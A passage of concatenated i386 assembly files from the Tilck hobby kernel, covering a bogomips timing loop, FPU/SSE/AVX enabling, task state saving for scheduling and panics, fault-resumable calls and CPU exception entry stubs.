# The loop terminates when `__bogo_loops` becomes 0 and that happens when after
# MEASURE_BOGOMIPS_TICKS ticks, measure_bogomips_irq_handler() sets it to -1.
#
FUNC(asm_do_bogomips_loop):
# Note: these NOPs are important to align the instructions in the inner loop.
# Try removing them and performing the loop: on my machine, the loop count
# drops by half!
nop
nop
nop
.outer_loop:
mov eax, BOGOMIPS_CONST
# Loop identical to asm_nop_loop(), except for the ECX -> EAX replacement
.inner_loop:
nop
sub eax, 1
jne .inner_loop
mov eax, 1
lock xadd DWORD PTR __bogo_loops, eax
test eax, eax
jns .outer_loop
ret
END_FUNC(asm_do_bogomips_loop)
# This function initialize both the x87 FPU and SSE
FUNC(asm_enable_sse):
mov eax, cr0
and eax, ~CR0_EM # set CR0.EM = 0 [coprocessor emulation]
and eax, ~CR0_TS # set CR0.TS = 0 [Task switched]
or eax, CR0_MP # set CR0.MP = 1 [coprocessor monitoring]
or eax, CR0_NE # set CR0.NE = 1 [Native Exception handling]
mov cr0, eax
fninit
mov eax, cr4
or eax, CR4_OSFXSR
or eax, CR4_OSXMMEXCPT
mov cr4, eax
ret
END_FUNC(asm_enable_sse)
FUNC(asm_enable_osxsave):
mov eax, cr4
or eax, CR4_OSXSAVE
mov cr4, eax
ret
END_FUNC(asm_enable_osxsave)
FUNC(asm_enable_avx):
xor ecx, ecx
xgetbv # Load XCR0 in eax
or eax, XCR0_X87 # FPU/MMX x87 enabled [must be 1]
or eax, XCR0_SSE # Set SSE enabled [can be 0 if AVX is 0]
or eax, XCR0_AVX # Set AVX enabled [must be 1, if SSE is 1]
xsetbv # Save eax back to XCR0
ret
END_FUNC(asm_enable_avx)
FUNC(__asm_fpu_cpy_single_256_nt):
jmp memcpy_single_256_failsafe
.space 128
END_FUNC(__asm_fpu_cpy_single_256_nt)
FUNC(__asm_fpu_cpy_single_256_nt_read):
jmp memcpy_single_256_failsafe
.space 128
END_FUNC(__asm_fpu_cpy_single_256_nt_read)
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 2,688 | kernel/arch/i386/kernel_yield.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_kernel.h>
#include <tilck_gen_headers/config_debug.h>
#include <tilck/kernel/arch/i386/asm_defs.h>
#include <multiboot.h>
.section .text
.code32
.global asm_save_regs_and_schedule
.global panic_save_current_state
.global switch_to_initial_kernel_stack
# Saves the current (kernel) state as if an interrupt occurred while running
# in kernel mode.
FUNC(asm_save_regs_and_schedule):
pushf # push EFLAGS
sub esp, 16 # skip cs, eip, err_code, int_num
save_base_regs
skip_push_custom_flags
push offset .kernel_yield_resume
mov eax, esp
push eax
call save_current_task_state
#if DEBUG_CHECKS && KRN_TRACK_NESTED_INTERR
call check_not_in_irq_handler
#endif
call do_schedule
# do_schedule() just returned: restore ESP and just return
add esp, SIZEOF_REGS - 8 + 4 # -8 : we skipped ss, useresp
# +4 : compensate the last push eax above
mov eax, 0 # No context-switch return value
ret
.kernel_yield_resume:
skip_pop_custom_flags
resume_base_regs
add esp, 16 # Discard int_num, err_code, eip, cs
popf
mov eax, 1 # Context-switch return value
ret
END_FUNC(asm_save_regs_and_schedule)
FUNC(panic_save_current_state):
push ss
push 0xcafebabe # placeholder for useresp
pushf # push EFLAGS
push cs
push 0xcafecafe # placeholder for eip
push 0 # err_code
push -1 # int_num
save_base_regs
skip_push_custom_flags
push offset .kernel_yield_resume
mov eax, esp
mov ecx, [esp + SIZEOF_REGS] # ecx = caller's EIP
mov [eax + REGS_EIP_OFF], ecx # regs_t->eip = ecx
lea ecx, [esp + SIZEOF_REGS]
mov [eax + REGS_USERESP_OFF], ecx # regs_t->useresp = ecx
push eax
call panic_save_current_task_state
add esp, SIZEOF_REGS + 4 # +4 because the last push eax here
ret
END_FUNC(panic_save_current_state)
FUNC(switch_to_initial_kernel_stack):
# save the return addr in eax
pop eax
# save in ecx the ebp-esp offset
mov ecx, ebp
sub ecx, esp
# change the stack pointer and the frame pointer
mov ebp, offset kernel_initial_stack + ASM_KERNEL_STACK_SZ - 4
mov esp, ebp
# restore the ebp-esp difference
sub esp, ecx
# jump back to the return addr. Faster than: push eax + ret.
jmp eax
END_FUNC(switch_to_initial_kernel_stack)
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 2,192 | kernel/arch/i386/fault_resumable.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck/kernel/arch/i386/asm_defs.h>
.code32
.section .text
.global fault_resumable_call
FUNC(fault_resumable_call):
mov ecx, [__current]
push [ecx + TI_F_RESUME_RS_OFF] # push current->fault_resume_regs
push [ecx + TI_FAULTS_MASK_OFF] # push current->faults_resume_mask
push ebp
mov ebp, esp
push [__disable_preempt]
sub esp, 8 # skip pushing ss, esp
pushf # save eflags
sub esp, 16 # skip cs, eip, err_code and int_num
pusha # save the regular registers
sub esp, 20 # skip pushing custom_flags, ds, es, fs, gs
push offset .asm_fault_resumable_call_resume
mov ecx, [__current]
mov [ecx + TI_F_RESUME_RS_OFF], esp
mov eax, [ebp + EBP_OFFSET_ARG1 + 8] # arg1: faults_mask
mov [ecx + TI_FAULTS_MASK_OFF], eax
mov eax, [ebp + EBP_OFFSET_ARG2 + 8] # arg2: func
lea edx, [ebp + EBP_OFFSET_ARG3 + 8] # &arg3: &nargs
mov ecx, [edx] # arg3: nargs
shl ecx, 2 # nargs *= 4
test ecx, ecx
jz 2f
1:
push [edx + ecx]
sub ecx, 4
jnz 1b
2:
call eax
xor eax, eax # return value: set to 0 (= no faults)
leave
mov ecx, [__current]
pop [ecx + TI_FAULTS_MASK_OFF]
pop [ecx + TI_F_RESUME_RS_OFF]
ret
.asm_fault_resumable_call_resume:
add esp, 20 # skip custom_flags, gs, fs, es, ds
popa # restore the regular registers
add esp, 16 # skip int_num, err_code, eip, cs
popf # restore the eflags register
add esp, 8 # skip useresp, ss
pop [__disable_preempt]
leave
# Yes, the value of ECX won't be preserved but that's fine: it is a
# caller-save register. Of course EAX won't be preserved either, but its
# value is the return value of the `fault_resumable_call()` function.
mov ecx, [__current]
pop [ecx + TI_FAULTS_MASK_OFF]
pop [ecx + TI_F_RESUME_RS_OFF]
ret
END_FUNC(fault_resumable_call)
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 2,406 | kernel/arch/i386/fault_handlers.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#define ASM_FILE 1
#include <tilck_gen_headers/config_global.h>
#include <tilck/kernel/arch/i386/asm_defs.h>
.section .text
.global fault_entry_points
.global double_fault_handler_asm
.macro fault number
FUNC(fault\number):
push 0
push \number
jmp asm_fault_entry
END_FUNC(fault\number)
.endm
.macro fault_with_err_code number
FUNC(fault\number):
push \number
jmp asm_fault_entry
END_FUNC(fault\number)
.endm
fault 0 # Divide By Zero Exception
fault 1 # Debug Exception
fault 2 # Non Maskable Interrupt Exception
fault 3 # Int 3 Exception
fault 4 # INTO Exception
fault 5 # Out of Bounds Exception
fault 6 # Invalid Opcode Exception
fault 7 # Coprocessor Not Available Exception
fault_with_err_code 8 # Double Fault Exception
fault 9 # Coprocessor Segment Overrun Exception
fault_with_err_code 10 # Bad TSS Exception
fault_with_err_code 11 # Segment Not Present Exception
fault_with_err_code 12 # Stack Fault Exception
fault_with_err_code 13 # General Protection Fault Exception
fault_with_err_code 14 # Page Fault Exception
fault 15 # Reserved Exception
fault 16 # Floating Point Exception
fault 17 # Alignment Check Exception
fault 18 # Machine Check Exception
fault 19
fault 20
fault 21
fault 22
fault 23
fault 24
fault 25
fault 26
fault 27
fault 28
fault 29
fault 30
fault 31
.altmacro
.macro insert_fault_addr num
.long fault\num
.endm
.align 4
fault_entry_points:
.set i, 0
.rept 32
insert_fault_addr %i
.set i, i+1
.endr
FUNC(double_fault_handler_asm):
cld # Set DF = 0, as C compilers by default assume that.
jmp double_fault_handler # Direct jmp, no call: the callee won't return
END_FUNC(double_fault_handler_asm)
FUNC(asm_fault_entry):
kernel_entry_common
push_custom_flags (0)
push offset fault_entry_resume
mov eax, esp
cld # Set DF = 0, as C compilers by default assume that.
push eax
call fault_entry
add esp, 8 # Discard the previousy-pushed 'eax' and kernel_resume_eip
# NOTE: this must be identical to `soft_interrupt_resume` defined in
# syscall_entry.S. Here it's simply copy-pasted to save an extra jump.
fault_entry_resume:
pop_custom_flags
kernel_exit_common
END_FUNC(asm_fault_entry)
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
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